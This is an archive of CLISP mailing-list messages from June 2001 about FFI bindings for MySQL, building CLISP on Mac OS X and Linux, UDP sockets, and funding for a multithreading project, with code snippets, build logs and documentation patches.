mystructinst.f = &b;
(*mystructinst.f)();

which will result in a call to a(), then b() and print out: aaaabbbb.

the declation of the function pointer itself has to look like <returntype>
(*<pointername>)(<args); or int (*f)(); in the above case.

-Eric de Groot
mailto:eric@ericdegroot.com

> please send an example and then remove the patch. ;-)
>
> also, since in C
>         int (*f) ();
> and
>         int f()
> are equivalent, you can just write
>         (error_handler (c-function))
>
> > (def-c-call-out mysql_init (:arguments (mysql (c-ptr st_mysql)))
> >                            (:return-type (c-ptr st_mysql)))
> >
> > Also, you can see above, it's still not doing the arguments, I just
> > get mysql_init().
>
> this should not be a problem as C does not require full prototypes.
>
> --
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>



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I'm trying to get clisp installed under OS X.  I have the
source clisp version 2.26, dated 2001-05-23 07:32

At first, I kept core dumping until I figured out to
increase the stacksize with

limit stacksize 8192 kbytes

and now the configuration script it gets much further, but
stops dead during the compilation with:

Compiling file /Users/cleary/clisp-2.26/src/foreign1.lisp ...
*** - There is no package with name "FFI"
make: *** [foreign1.fas] Error 1

Any ideas?  Has anyone got clisp working well under Mac OS X?
I tried a binary distro of 2.25.1 earlier but wasn't able to
get that working due to hard-coded directory info in the
makefile that I couldn't seem to straighten out as well as
some initmem problems. I saw that there were comments in the list
archive about FFI but none of them seemed similar enough
to be useful.  It might be worth mentioning in the install
about increasing the stacksize for OS X since for some reason
the default seems to be set pretty small.

Thanks,

-Sean Cleary.


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With CLISP versions before 2.26, but I haven't tried 2.25, besides the base
and full images (with NCLX) I also built a base image with MIT CLX. After
building and installing the first two images from the source distribution,
I moved to modules/clx/mit-clx and run make on Makefile.clisp, possibly
setting the value of `prefix' in the makefile.

I have tried doing the same with CLISP 2.26 (released 2001-05-23, built
3200841159) under Red Hat Linux 6.2. The base and full (with NCLX) images
are correctly built, and the system passes both `make test' and `make
testsuite'. Here are the configuration options:

--prefix=/usr/local/clisp --with-readline --with-gettext --with-dynamic-ffi
--with-export-syscalls --with-module-wildcard --with-module-regexp
--with-module=bindings/linuxlibc6

But when I run make in modules/clx/mit-clx, compilation aborts with the
error:

[~/clisp-2.26/modules/clx/mit-clx]$ make -f Makefile.clisp 
clisp -q -c defsystem
;; Loading file /home/paolo/.clisprc ...
;; Loading of file /home/paolo/.clisprc is finished.
Compiling file /home/paolo/clisp-2.26/modules/clx/mit-clx/defsystem.lisp
...
WARNING in function COMPILE-CLX in lines 47..452 :
variable COMPILE-C is not used.
Misspelled or missing IGNORE declaration?

Compilation of file
/home/paolo/clisp-2.26/modules/clx/mit-clx/defsystem.lisp is finished.
0 errors, 1 warning
clisp -m 4MB -q -i defsystem -x '(compile-clx)'
;; Loading file /home/paolo/.clisprc ...
;; Loading of file /home/paolo/.clisprc is finished.
;; Loading file /home/paolo/clisp-2.26/modules/clx/mit-clx/defsystem.fas
...
;; Loading of file /home/paolo/clisp-2.26/modules/clx/mit-clx/defsystem.fas
is finished.
;;; Default paths: #P"" #P""

Compiling file /home/paolo/clisp-2.26/modules/clx/mit-clx/package.lisp ...

Compilation of file /home/paolo/clisp-2.26/modules/clx/mit-clx/package.lisp
is finished.
0 errors, 0 warnings
;; Loading file /home/paolo/clisp-2.26/modules/clx/mit-clx/package.fas ...
;; Loading of file /home/paolo/clisp-2.26/modules/clx/mit-clx/package.fas
is finished.
Compiling file /home/paolo/clisp-2.26/modules/clx/mit-clx/depdefs.lisp ...

Compilation of file /home/paolo/clisp-2.26/modules/clx/mit-clx/depdefs.lisp
is finished.
The following functions were used but not defined:
 MAKE-PROCESS-LOCK
0 errors, 0 warnings
;; Loading file /home/paolo/clisp-2.26/modules/clx/mit-clx/depdefs.fas ...
;; Loading of file /home/paolo/clisp-2.26/modules/clx/mit-clx/depdefs.fas
is finished.
Compiling file /home/paolo/clisp-2.26/modules/clx/mit-clx/clx.lisp ...
*** - BOOLEAN is a built-in type and may not be redefined.
make: *** [stamp.fas] Error 1

Here is the clx.lisp line that defines type BOOLEAN:

(deftype boolean () '(or null (not null)))


Paolo
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Sam-

    Ok, I was having more problems with the c code in callmysql.c generated
by:

./clisp-link add-module-set mysql base base+mysql

It kept telling me the structs generated were incompatible with the structs
in mysql.h.  I checked the sizeof() of everything, and everything matched up
perfectly between the structs in mysql.h and the structs clisp generated..
So i finally just deleted all the prototypes and structures clisp generates
and let it use the prototypes and structs from mysql.h, works great.  Why
couldn't you just do this in the first place instead of having it generate
duplicate prototypes and structures?  Anyways, with that I was able to
finally talk to mysql!!  very exciting after all this;)  I'm having another
problem now with the following though:

(let ((conn (MYSQL::mysql_init nil)))
  (MYSQL::mysql_connect conn "localhost" "root" "")
  (MYSQL::mysql_get_server_info conn))

gives me: NIL

(let ((conn (MYSQL::mysql_init nil)))
  (let ((conn (MYSQL::mysql_connect conn "localhost" "root" "")))
    (MYSQL::mysql_get_server_info conn)))

gives me exactly what i want: "3.22.32-log"

in the first example, why is conn not being modified by mysql_connect?  The
second example works because mysql_connect both modifies the st_mysql
structure you pass it, and on a successful connection the the database
server, also returns it, otherwise returns null on failure.  In C, just
doing:

mysql_connect( conn, "localhost", "root", NULL );

would be fine.  The only thing I would use the returned struct for was error
checking:

if ( mysql_connect( conn, "localhost", "root", NULL ) == NULL ) {
  /* error handling.. */
}

With CLISP, when you pass a var to a c-ptr argument, do you have to do
something special to allow it to be modified by the function you passed it
to?

Thanks.

-Eric de Groot
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Sam-

    Ok, I was just studying the lisp from the postgresql bindings in the
modules directory some more and it just clicked.  Through the entire they
whoever wrote just used c-pointer, rather than defining all the structs and
everything.  This will work for my mysql bindings aswell because mysql has
accessor functions for all the data needed from the structures.  I don't
need the details.  Damn, I wish I noticed this earlier!  Anyways, changing
everything to either c-pointer or (c-ptr-null nil) works!!  so far atleast;)

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More questions!  I'm having a problem with number type conversions, I have
the following two C functions:

int myintfun() {
  return 11;
}

unsigned long long myulonglongfun() {
  return 11;
}

For the FFI lisp I have, respectively:

(def-c-call-out myintfun (:return-type int))
(def-c-call-out myulonglongfun (:return-type uint64))

'unsigned long long' is 8 bytes unsigned.  uint64 is the only unsigned 8
byte type you have listed in the FFI docs.  Anyways, after loading clisp up
with bindings for these, calling them gives me:

(MYSTUFF::myintfun)
11

(MYSTUFF::myulonglongfun)
52
(MYSTUFF::myulonglongfun)
0

it just gives a trash random number.

Any ideas why??  Thanks.

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> * In message <a05010400b74494bb1853@[192.168.1.2]>
> * On the subject of "[clisp-list] OS X install questions"
> * Sent on Wed, 6 Jun 2001 22:28:13 -0400
> * Honorable call -151 <rwts@mac.com> writes:
>
> source clisp version 2.26, dated 2001-05-23 07:32
> 
> Compiling file /Users/cleary/clisp-2.26/src/foreign1.lisp ...
> *** - There is no package with name "FFI"
> make: *** [foreign1.fas] Error 1

please get the patch
        clisp-2.26-bug5-no-ffi.diff
the same place you got the sources.

thanks for reporting the bug.

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> * In message <dSofO+RJsNBi6uctVaC9rRC0hHwQ@4ax.com>
> * On the subject of "[clisp-list] Error building MIT CLX under Linux"
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> Compiling file /home/paolo/clisp-2.26/modules/clx/mit-clx/clx.lisp ...
> *** - BOOLEAN is a built-in type and may not be redefined.
> make: *** [stamp.fas] Error 1

thanks - fixed.
get the patch in the same place as sources or do cvs up

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> * In message <011401c0eee8$9312f390$4381fb18@CX417245D>
> * On the subject of "Re: [clisp-list] Re: clisp ffi"
> * Sent on Wed, 6 Jun 2001 17:27:02 -0700
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>     in C, int (*f)(); and int f(); are not equivalent.

year - I got it mixed up with the fact that you can write, say, "sin"
instead of "&sin" for the address of the functions "double sin(double)".

please apply this patch to foreign1.lisp and try again.
your help is greatly appreciated.

@@ -601,7 +546,17 @@
              ((c-ptr c-ptr-null c-array-ptr)
               (to-c-typedecl (svref c-type 1) (format nil "* ~A" name)))
              (c-function
-              (to-c-typedecl (svref c-type 1) (format nil "~A ()" name)))
+              (to-c-typedecl (svref c-type 1)
+                             (format nil "(~A) (~{~A~^,~})" name
+                                     (do ((ii 0 (+ 2 ii)) ret
+                                          (arg (gensym "arg")))
+                                         ((= (length (svref c-type 2)) ii)
+                                          (nreverse ret))
+                                       (push (to-c-typedecl
+                                              (svref (svref c-type 2) ii)
+                                              (format nil "~a_~d"
+                                                      arg (/ ii 2)))
+                                             ret)))))
              (t (error (ENGLISH "illegal foreign data type ~S")
                        c-type))))))))
 

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I've been looking a bit into the issue of creating a reasonable lisp
interface to UDP sockets. In my opinion, such an interface should
include some sort of event dispatch facility (i.e. a unix select kind
of thing). From what I've read of clisp documentation, there is no
existing event model in clisp. For example, SOCKET:SOCKET-WAIT only
waits for a single socket.

So this is a request for comments or advice on this issue. How
should/could synchronization to several (kinds of) sockets be
implemented?


And how come the socket streams extension is not present in my clisp,
taken from either FreeBSD or NetBSD's packages?

[1]> (socket:socket-server)

*** - READ from #<CONCATENATED-STREAM #<STRING-INPUT-STREAM> #<SYNONYM-STREAM *TERMINAL-IO*>>: there is no package with name "SOCKET"
1. Break [2]> 

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Sam-

    Ok thanks, that last patch worked.  I can do everything without having
to manually edit any files.  Excellent.  Do you have any ideas about my
other questions?  If I define all the c structs in lisp and use them as the
types in my def-c-call-outs rather than just using c-pointer, I cannot do
the following:

(let ((conn (MYSQL::mysql_init nil)))
  (MYSQL::mysql_connect conn "localhost" "root" "")
  (MYSQL::mysql_get_server_info conn))
NIL

I have to do:

(let ((conn (MYSQL::mysql_init nil)))
  (let ((conn (MYSQL::mysql_connect conn "localhost" "root" "")))
    (MYSQL::mysql_get_server_info conn)))
"3.22.32-log"

Here are the def-c-callouts using the structs used in the first example:

(def-c-call-out mysql_init (:arguments (mysql (c-ptr-null st_mysql)))
                           (:return-type (c-ptr-null st_mysql)))
(def-c-call-out mysql_get_server_info (:arguments (mysql (c-ptr-null
st_mysql)))
                                      (:return-type c-string))
(def-c-call-out mysql_connect (:arguments (mysql (c-ptr-null st_mysql))
                                          (host c-string)
                                          (user c-string)
                                          (passwd c-string))
                              (:return-type (c-ptr-null st_mysql)))

and heres how I redefined them to use c-pointer, which works, as seen in the
above second example:

(def-c-call-out mysql_init (:arguments (mysql (c-ptr-null nil)))
                           (:return-type c-pointer))
(def-c-call-out mysql_get_server_info (:arguments (mysql c-pointer))
                                      (:return-type c-string))
(def-c-call-out mysql_connect (:arguments (mysql c-pointer)
                                          (host c-string)
                                          (user c-string)
                                          (passwd c-string))
                              (:return-type c-pointer))

How can I get the pointers to work in the second example?

-Eric de Groot
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On Thu, Jun 07, 2001 at 09:40:11PM +0200, Frode Vatvedt Fjeld wrote:
> I've been looking a bit into the issue of creating a reasonable lisp
> interface to UDP sockets. In my opinion, such an interface should
> include some sort of event dispatch facility (i.e. a unix select kind
> of thing). From what I've read of clisp documentation, there is no
> existing event model in clisp. For example, SOCKET:SOCKET-WAIT only
> waits for a single socket.
> 
> So this is a request for comments or advice on this issue. How
> should/could synchronization to several (kinds of) sockets be
> implemented?

I think the Unix model is pretty good here.  Something like select?

-- 
miles


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> * In message <2hwv6o3wpw.fsf@dslab7.cs.uit.no>
> * On the subject of "Re: [clisp-list] UDP network streams"
> * Sent on 07 Jun 2001 21:40:11 +0200
> * Honorable Frode Vatvedt Fjeld <frodef@acm.org> writes:
>
> And how come the socket streams extension is not present in my clisp,
> taken from either FreeBSD or NetBSD's packages?
> 
> [1]> (socket:socket-server)
> 
> *** - READ from #<CONCATENATED-STREAM #<STRING-INPUT-STREAM> #<SYNONYM-STREAM *TERMINAL-IO*>>: there is no package with name "SOCKET"
> 1. Break [2]> 

I am not clairvoyant.  Sorry.  I really wish I were.

Who built your packages?
From which sources?
What is your CLISP version?  (lisp-implementation-version)
What does (apropos "socket") say?

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Sam Steingold <sds@gnu.org> writes:

> Who built your packages?
> >From which sources?
> What is your CLISP version?  (lisp-implementation-version)
> What does (apropos "socket") say?

I now discovered the socket stuff is actually there, only there is
something funny going on with the reader or somewhere that causes the
following (to me) very unexpected behavior. I'm quite new to CLISP, so
please point me to some FAQ or wherever this behavior is explained.

[1]> (socket::socket-server)

*** - READ from #<CONCATENATED-STREAM #<STRING-INPUT-STREAM> #<SYNONYM-STREAM *TERMINAL-IO*>>: there is no package with name "SOCKET"
1. Break [2]> 
[3]> (in-package :socket)
#<PACKAGE SOCKET>
SOCKET[4]> (socket-server)
#<SOCKET-SERVER 0.0.0.0:2930>
SOCKET[5]> (in-package :user)
#<PACKAGE USER>
[6]> (socket::socket-server)
#<SOCKET-SERVER 0.0.0.0:2931>
[7]> (lisp-implementation-version)  
"2.25.1 (released 2001-04-06) (built 3200149047) (memory 3200149510)"


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The argument for select seems to apply just as well to tcp as udp.  
My hope is that clisp will soon support multiple threads, and at that
point I expect select will become less important.  For now I suggest
that you ignore this issue in your UDP interface.

I recall select being discussed at least once before.  I think the
result of the last such discsussion was the addition of SOCKET-STATUS.

 On Thu, Jun 07, 2001 at 09:40:11PM +0200, Frode Vatvedt Fjeld wrote:
 > I've been looking a bit into the issue of creating a reasonable lisp
 > interface to UDP sockets. In my opinion, such an interface should
 > include some sort of event dispatch facility (i.e. a unix select kind
 > of thing). From what I've read of clisp documentation, there is no
 > existing event model in clisp. For example, SOCKET:SOCKET-WAIT only
 > waits for a single socket.
 > 
 > So this is a request for comments or advice on this issue. How
 > should/could synchronization to several (kinds of) sockets be
 > implemented?


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Okay.  I've attempted to follow your advice and build from the sources:
clisp-2.26.tar.gz, from (I
believe) ftp://clisp.cons.org/pub/lisp/clisp/source/latest/

I discovered that some of the tips in the PLATFORMS file seem to be
wrong for Mac OS X v10.0.3, since bash and ulimit aren't available
here.  But the instruction for increasing the stacksize turned out to
be necessary.  (I have tcsh, and used "unlimit stacksize" followed by
"limit stacksize 8192".  The previous value was 512).

Things seem to get built until :
----
Compilation of file
/private/var/tmp/lisp/clisp-2.26/build-june7/macros3.lisp is finished.
0 errors, 0 warnings
./lisp.run -m 1000KW -M interpreted.mem -B . -N locale -Efile UTF-8 -norc
-q -c foreign1.lisp

Compiling file /private/var/tmp/lisp/clisp-2.26/build-june7/foreign1.lisp
...
*** - There is no package with name "FFI"
make: *** [foreign1.fas] Error 1
[localhost:lisp/clisp-2.26/build-june7] root# 

Any advice on where to go from here?

Thanks,

David Finton



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Ok, I wrote clisp bindings for libmysqlclient.  With the following test
code:

(let ((conn (MYSQL::mysql_init nil)))
  (MYSQL::mysql_connect conn "localhost" "root" "")
  (MYSQL::mysql_get_server_info conn)
  (MYSQL::mysql_select_db conn "mysql")
  (MYSQL::mysql_query conn "select * from user")
  (let ((result (MYSQL::mysql_use_result conn)))
    (loop
      (let ((row (MYSQL::mysql_fetch_row result)))
        (when (eq row nil)
          (return t))
        (print row)))
    (MYSQL::mysql_free_result result))
  (MYSQL::mysql_close conn))

I get:

*** - handle_fault error2 ! address = 0xFE0000 not in
[0x2027A000,0x20337404) !
SIGSEGV cannot be cured. Fault address = 0xFE0000.
Segmentation fault

but, if I run just this part of the code first, followed by the entire
thing:

[1]>
(let ((conn (MYSQL::eric_mysql_init)))
  (MYSQL::mysql_connect conn "localhost" "root" "")
  (MYSQL::mysql_get_server_info conn)
  (MYSQL::mysql_select_db conn "mysql")
  (MYSQL::mysql_query conn "select * from user"))
0
[2]>
(let ((conn (MYSQL::mysql_init nil)))
  (MYSQL::mysql_connect conn "localhost" "root" "")
  (MYSQL::mysql_get_server_info conn)
  (MYSQL::mysql_select_db conn "mysql")
  (MYSQL::mysql_query conn "select * from user")
  (let ((result (MYSQL::mysql_use_result conn)))
    (loop
      (let ((row (MYSQL::mysql_fetch_row result)))
        (when (eq row nil)
          (return t))
        (print row)))
    (MYSQL::mysql_free_result result))
  (MYSQL::mysql_close conn))

#("localhost" "root" "" "Y" "Y" "Y" "Y" "Y" "Y" "Y" "Y" "Y" "Y" "Y" "Y" "Y"
"Y" "")
#("cx417245-c" "root" "" "Y" "Y" "Y" "Y" "Y" "Y" "Y" "Y" "Y" "Y" "Y" "Y" "Y"
"Y" "")
#("localhost" "" "" "N" "N" "N" "N" "N" "N" "N" "N" "N" "N" "N" "N" "N" "N"
"")
#("cx417245-c" "" "" "N" "N" "N" "N" "N" "N" "N" "N" "N" "N" "N" "N" "N" "N"
"Y")

[3]>

it works!

but then if I past it a couple more times it eventually seg faults anyway.

Any idea what might be causing this??

again, you can see my files at http://www.ericdegroot.com/clisp/

this is on:
debian 2.2 (2.2.19pre17)
GNU CLISP 2.26.1 (released 2001-06-04) (built 3200899615) (memory
3201017859)

Thanks!  I'm so close..

-eric




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>>>>> "Don" == Don Cohen <don-sourceforge@isis.compsvcs.com> writes:

>> What is CLISP MT?

Don> The project is to make clisp MultiThreaded (MT), also known as
Don> multiprocessing in olden times.

Don> This has been discussed on and off for years and many of us have
Don> wished for it.  Sam seems to have found someone in Russia who he
Don> says can do it for very few dollars (possibly still a reasonable
Don> number of rubles) - he suggests a few thousand dollars might be
Don> enough.

For what it is worth, I just went to a talk tonight where a guy from
the `LinuxFund.org' stood up and said they were having a hard time
finding people to take their grants.  They give away $1000 at a time,
and right now they aren't being that picky.  Basically about 400-500
words describing the project and, he claims, the money can be made
available.  I immediately made the connection to the CLISP MT project,
particularly because the amounts discussed were comparable.  Someone
might want to take a look at the linuxfund.org site and give it a
whirl.

-- 
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seniorr@aracnet.com      Bellison uncorked a flood of horrible       
                         profanity, which, translated meant, `This is
                         extremely unusual.' ''                      


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On 07 Jun 2001 13:40:45 -0400, Sam Steingold <sds@gnu.org> wrote:

> thanks - fixed.
> get the patch in the same place as sources or do cvs up

With your patch I am able to proceed further, but then compilation stops
with the error:

[...]
Compiling file /home/paolo/clisp-2.26/modules/clx/mit-clx/display.lisp ...
WARNING in function WITH-EVENT-QUEUE-FUNCTION in lines 207..216 :
variable DISPLAY is not used.
Misspelled or missing IGNORE declaration?
WARNING in function WITH-EVENT-QUEUE-FUNCTION in lines 207..216 :
variable TIMEOUT is not used.
Misspelled or missing IGNORE declaration?

Compilation of file /home/paolo/clisp-2.26/modules/clx/mit-clx/display.lisp
is finished.
The following functions were used but not defined:
 INITIALIZE-EXTENSIONS ALLOCATE-REPLY-BUFFER START-PENDING-COMMAND
 READ-REPLY DEALLOCATE-REPLY-BUFFER STOP-PENDING-COMMAND
 REPORT-ASYNCHRONOUS-ERRORS
0 errors, 2 warnings
;; Loading file /home/paolo/clisp-2.26/modules/clx/mit-clx/display.fas ...
;; Loading of file /home/paolo/clisp-2.26/modules/clx/mit-clx/display.fas
is finished.
Compiling file /home/paolo/clisp-2.26/modules/clx/mit-clx/gcontext.lisp ...
WARNING:
(DEFCONSTANT *GCONTEXT-INDEXES*
 '(:TIMESTAMP 26 :ARC-MODE 22 :DASHES 21 :DASH-OFFSET 20 :CLIP-MASK 19
:CLIP-Y
   18 :CLIP-X 17 :EXPOSURES 16 :SUBWINDOW-MODE 15 :FONT 14 :TS-Y 13 :TS-X
12
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6
   :LINE-STYLE 5 :LINE-WIDTH 4 :BACKGROUND 3 :FOREGROUND 2 :PLANE-MASK 1
   :FUNCTION 0)) redefines the constant *GCONTEXT-INDEXES*. Its old value
was 
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:CLIP-Y 18
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 :LINE-STYLE 5 :LINE-WIDTH 4 :BACKGROUND 3 :FOREGROUND 2 :PLANE-MASK 1
 :FUNCTION 0).
WARNING:
(DEFCONSTANT *GCONTEXT-MASKS*
 '#(1 2 4 8 16 32 64 128 256 512 1024 2048 4096 8192 16384 32768 65536
131072
    262144 524288 1048576 2097152 4194304 8912896 18874368 33570816
67108864)) redefines the constant *GCONTEXT-MASKS*. Its old value was 
#(1 2 4 8 16 32 64 128 256 512 1024 2048 4096 8192 16384 32768 65536 131072
  262144 524288 1048576 2097152 4194304 8912896 18874368 33570816
67108864).
*** - FUNCALL: the function GET-SETF-METHOD is undefined
make: *** [stamp.fas] Error 1


Paolo
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don-sourceforge@isis.compsvcs.com (Don Cohen) writes:

> I recall select being discussed at least once before.  I think the
> result of the last such discsussion was the addition of
> SOCKET-STATUS.

Right, SOCKET-STATUS seems to me to be a select variant. It seems to
me it would be a mistake to start building a UDP interface based on
libc/FFI. The right thing would be to extend the existing SOCKET
package to support UDP in addition to TCP.

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Russell Senior wrote:
> For what it is worth, I just went to a talk tonight where a guy from
> the `LinuxFund.org' stood up and said they were having a hard time
> finding people to take their grants.  They give away $1000 at a time,
> and right now they aren't being that picky.  Basically about 400-500
> words describing the project and, he claims, the money can be made
> available.  I immediately made the connection to the CLISP MT project,
> particularly because the amounts discussed were comparable.  Someone
> might want to take a look at the linuxfund.org site and give it a
> whirl.

I agree!  Earlier this year I received a LiunxFund credit card and so far
I have spent a few dollars with it, with some of those bucks going towards
Paul Graham's two Lisp books, On Lisp and ACL.  So I definitely think the
clisp project should try to apply for a piece of the LinuxFund action
considering a (so far small) piece of their action has come from me.

So I am fairly new to Lisp, but I would really like to help with the
threading project, if possible, though it seems as though you are looking
for one guy to do it all, and I dont know if I could be that one guy, not
right now anyways.  So if you think that the threading project could
benifit from help from extra people, I am willing to do whatevers needed,
and I am not looking for any of the money.

Thanks,
Dave



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> * In message <Pine.GSO.4.21.0106071836330.12189-100000@nova10.cs.wisc.edu>
> * On the subject of "Re: [clisp-list] clisp for OSX?"
> * Sent on Thu, 7 Jun 2001 19:01:53 -0500 (CDT)
> * Honorable "David J. Finton" <finton@cs.wisc.edu> writes:
>
> Compiling file /private/var/tmp/lisp/clisp-2.26/build-june7/foreign1.lisp
> ....
> *** - There is no package with name "FFI"
> make: *** [foreign1.fas] Error 1
> [localhost:lisp/clisp-2.26/build-june7] root# 
> 
> Any advice on where to go from here?

please get the "no-ffi" patch from the same place you got your sources,
then reconfigure and rebuild.

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> * In message <2hk82o3riw.fsf@dslab7.cs.uit.no>
> * On the subject of "Re: [clisp-list] UDP network streams"
> * Sent on 07 Jun 2001 23:32:23 +0200
> * Honorable Frode Vatvedt Fjeld <frodef@acm.org> writes:
>
> [3]> (in-package :socket)
> #<PACKAGE SOCKET>
> SOCKET[4]> (socket-server)
> #<SOCKET-SERVER 0.0.0.0:2930>
> [7]> (lisp-implementation-version)  
> "2.25.1 (released 2001-04-06) (built 3200149047) (memory 3200149510)"

You are confused: 2.25.1 did not have a SOCKET package.
(describe 'socket-server) would tell you that it is in LISP, not SOCKET.

get the latest released sources - 2.26 and apply the patches (or use CVS).
./configure --build build
try again your code.

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Ben Hyde wrote:
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My fault.  I misread the instructions and thought there was a password;
there isn't.   :-/   - ben


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My MacOSX install has the developer tools and I added
bash, set CONFIG_SHELL as recomeneded, and bumped
up the stack size all as outlined in unix/PLATFORMS.

Late in the ./configure it dives down into
src/avcall and invokes make.  That doesn't
work out.  I've clipped out the offending portion.

It appears that the C compiler thought the assembler
code was C code?  The only pot shots I took were
to revise the make file in src/avcall to remove
the -O and use bash; since that is implied in
unix/PLATFORMS.

Any help gratefully accepted :-).   - ben

ps. Humm looks like the mailer is reformating the log.

creating ./config.status 
creating Makefile 
creating config.h 
case "darwin1.3.3" in \ 
  aix3*) syntax=aix.old;; \ 
  aix*) syntax=aix.new;; \ 
  linux*) syntax=linux;; \ 
  *) syntax=sysv4;; \ 
esac; \ 
/bin/sh ./libtool --mode=compile cc -O -traditional-cpp -x none -c
../../ffcall/avcall/avcall-rs6000-${syntax}.s ; \ 
cp avcall-rs6000-${syntax}.lo avcall-rs6000.lo ; rm -f
avcall-rs6000-${syntax}.lo ; \ 
if test -f avcall-rs6000-${syntax}.o; then mv avcall-rs6000-${syntax}.o
avcall-rs6000.o; fi 
cc -O -traditional-cpp -x none -c
../../ffcall/avcall/avcall-rs6000-sysv4.s -o avcall-rs6000-sysv4.o 
avcall-rs6000.c:3:Expected comma after segment-name 
avcall-rs6000.c:3:Rest of line ignored. 1st junk character valued 32 (
). 
avcall-rs6000.c:5:Unknown pseudo-op: .type 
avcall-rs6000.c:5:Rest of line ignored. 1st junk character valued 95
(_). 
avcall-rs6000.c:5:Invalid mnemonic 'function' 
avcall-rs6000.c:7:Unknown pseudo-op: .extern 


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> * In message <WXogO20ntORPdFLT0aO15=1fD5WG@4ax.com>
> * On the subject of "Re: [clisp-list] Error building MIT CLX under Linux"
> * Sent on Fri, 08 Jun 2001 09:14:44 +0200
> * Honorable Paolo Amoroso <amoroso@mclink.it> writes:
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> On 07 Jun 2001 13:40:45 -0400, Sam Steingold <sds@gnu.org> wrote:
>
> > thanks - fixed.
> > get the patch in the same place as sources or do cvs up
>
> With your patch I am able to proceed further, but then compilation
> stops with the error:
> *** - FUNCALL: the function GET-SETF-METHOD is undefined
> make: *** [stamp.fas] Error 1

the latest patch should fix this and some other problems.
mit-clx now builds for me.
thanks for your bug reports

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> * In message <20010608153143.76489.qmail@zap.ne.mediaone.net>
> * On the subject of "[clisp-list] MacOSX avcall-rs600-... troubles"
> * Sent on 8 Jun 2001 15:31:43 -0000
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> Late in the ./configure it dives down into
> src/avcall and invokes make.  That doesn't
> work out.  I've clipped out the offending portion.

that's okay - FFI won't work, the rest will.
Can you make FFI work on OSX?

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Sam Steingold wrote:
> *snip snip* ...
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I like your footers, and I see you use Gnus, but where did you get the
content for them?  Is it all yours?



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hello,

i'm interested in helping out with the MT project, and i'd like to see
others contribute what they can, even if it's just a little.  So I
submit the following contribution which depends on contributions from
others.

In english, I commit to contributing the average of the highest five
contributions offered after this one, with my limit being 50 dollars.
If five others don't step forward with some sort of contribution, my
contribution is 0.

in lisp code, it looks like this:

(defun my-contribution (others)
  "given a list of all the numerical contributions received by the MT
project after the posting of this function, returns my contribution"
  (flet ((average (list)
           (/ (reduce #'+ list) (length list))))
    (if (>= (length others) 5)
        (min 50 (average (subseq (sort others #'>) 0 5)))
        0)))

what say ye?

-Lyn


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[whoops forgot to reply all]

    >> ((average (list) (/ (reduce #'+ list) (length list)))) (if (>=
    >> (length others) 5) (min 50 (average (subseq (sort others #'>) 0
    >> 5)))
    Don> Min?  I originally interpreted your "limit" as the MAX you
    Don> were willing to contribute.  But I guess it's too late to
    Don> back out now, isn't it?  (Just kidding.)  The real problem is

my limit is 50.  the function returns (min 50 n) making 50 the maximum
i could have to pay.

    Don> what happens when other pledges arrive with amounts depending
    Don> on other pledges that include yours!  I want 5 people to
    Don> pledge "$1 more than Lyn".

don't think I haven't thought about that :-) This is actually an
example of a type of problem that i'm very interested in and haven't
seen much talk of, problems where communities make decisions in which
each individual's choice is motivated by the choices of others.  I
call them "United we stand" problems.  One person who has done
extensive work in this area is lorrie faith cranor who wrote her
thesis on declared strategy voting, in which each individual's vote is
represented by a function which takes into account the preferences of
other voters, to minimise the possibility of "throwing your vote
away."

http://www.research.att.com/~lorrie/dsv.html

i'm actually laying down some (open source lisp) code right now to
explore these issues in a web community context and hope to release
something in a week or two.  I'm also interested in thinking about and
coding the ramifications specific to the MT project if they should
arise.

-Lyn



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Below are patches to the installation instructions against HEAD at the
time I did them.  They explain how to build on Mac OSX.  They worked for
me done on a fresh cvs checkout.  They reflect what I know, which ain't 
much :-).  Do with them what you will.  - ben


Index: INSTALL
===================================================================
RCS file: /cvsroot/clisp/clisp/INSTALL,v
retrieving revision 1.15
diff -u -3 -r1.15 INSTALL
--- INSTALL	2000/04/01 00:17:50	1.15
+++ INSTALL	2001/06/08 22:53:32
@@ -8,7 +8,7 @@
 
 Documentation:
 
-      INSTALL            this text
+      INSTALL            this text, see also Installation below
       SUMMARY            description, summary
       ANNOUNCE           announcement
       COPYRIGHT          copyright notice
@@ -32,7 +32,7 @@
       src/machine.*      auxiliary program
       src/*.in           auxiliary files
       utils/*            auxiliary programs
-      unix/              installing on Unix 
+      unix/              installing on Unix (including Mac OSX)
       os2/               installing on OS/2
       win32msvc/         installing on Win32, using MSVC
       win32bc/           installing on Win32, using Borland C/C++
Index: unix/INSTALL
===================================================================
RCS file: /cvsroot/clisp/clisp/unix/INSTALL,v
retrieving revision 1.4
diff -u -3 -r1.4 INSTALL
--- unix/INSTALL	2000/10/31 17:34:10	1.4
+++ unix/INSTALL	2001/06/08 22:53:32
@@ -1,7 +1,7 @@
 Installation on Unix:
 ---------------------
 
-This file describes the standard installation procedure. Special hints for
+This file describes the standard installation procedure.  Critical hints for
 some platforms can be found in file unix/PLATFORMS.
 
 1. (Optional)
Index: unix/PLATFORMS
===================================================================
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retrieving revision 1.11
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--- unix/PLATFORMS	2001/01/31 11:57:33	1.11
+++ unix/PLATFORMS	2001/06/08 22:53:33
@@ -718,18 +718,38 @@
 undefined, add -Dn_long='unsigned long' to the CFLAGS in the Makefile.
 
 
-On Apple PowerPC running MacOS X Server:
+On Apple Macintosh PowerPC running MacOS X Server:
 
+This port and platform are not perfect yet.
+This is one example way to do "the build".
+  bash
+  ulimit -S -s 8192
+  export CONFIG_SHELL=`which bash`
+  $CONFIG_SHELL ./configure the-build
+  cd the-build
+  ./makemake --with-readline --withgettext | sed -e 's/ -O / /' -e 's/ -O2 / /' > Makefile
+  make config.lisp
+  ... make hand edits to config.lisp ...
+  make
+  make check
+  sudo make install
+
 The /bin/sh shell has at least two bugs which make it unusable for the
-configuration scripts. As a workaround, you have to set the environment
-variable CONFIG_SHELL to "/bin/bash", and start "$CONFIG_SHELL ./configure ..."
-instead of "./configure ...".
+configuration scripts.  As a work around you will need to install
+the bash shell and then set the environment variable CONFIG_SHELL
+to "/usr/local/bin/bash" (or where ever your bash
+actually was installed) and start "$CONFIG_SHELL ./configure ..." instead
+of "./configure ...".  
 
 The default stack size limit is 512 KB, which is too small for bootstrapping
 CLISP. Even 1 MB is too small. Try "ulimit -S -s 8192" before starting "make".
 
 Remove all optimization options ("-O", "-O2") from the CC and CFLAGS variables
 in the Makefile. Apple's cc crashes when compiling eval.d with optimization.
+
+FFI (Foreign Function Interfacing) is not working, yet.  Consequentially,
+late in the ./configure phase you will get a torrent of errors involving the
+file avcall-rs6000.c.  These errors maybe ignored.
 
 
 On AIX:


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Quoting Lyn A Headley (laheadle@cs.uchicago.edu):
| hello,
| 
| In english, I commit to contributing the average of the highest five
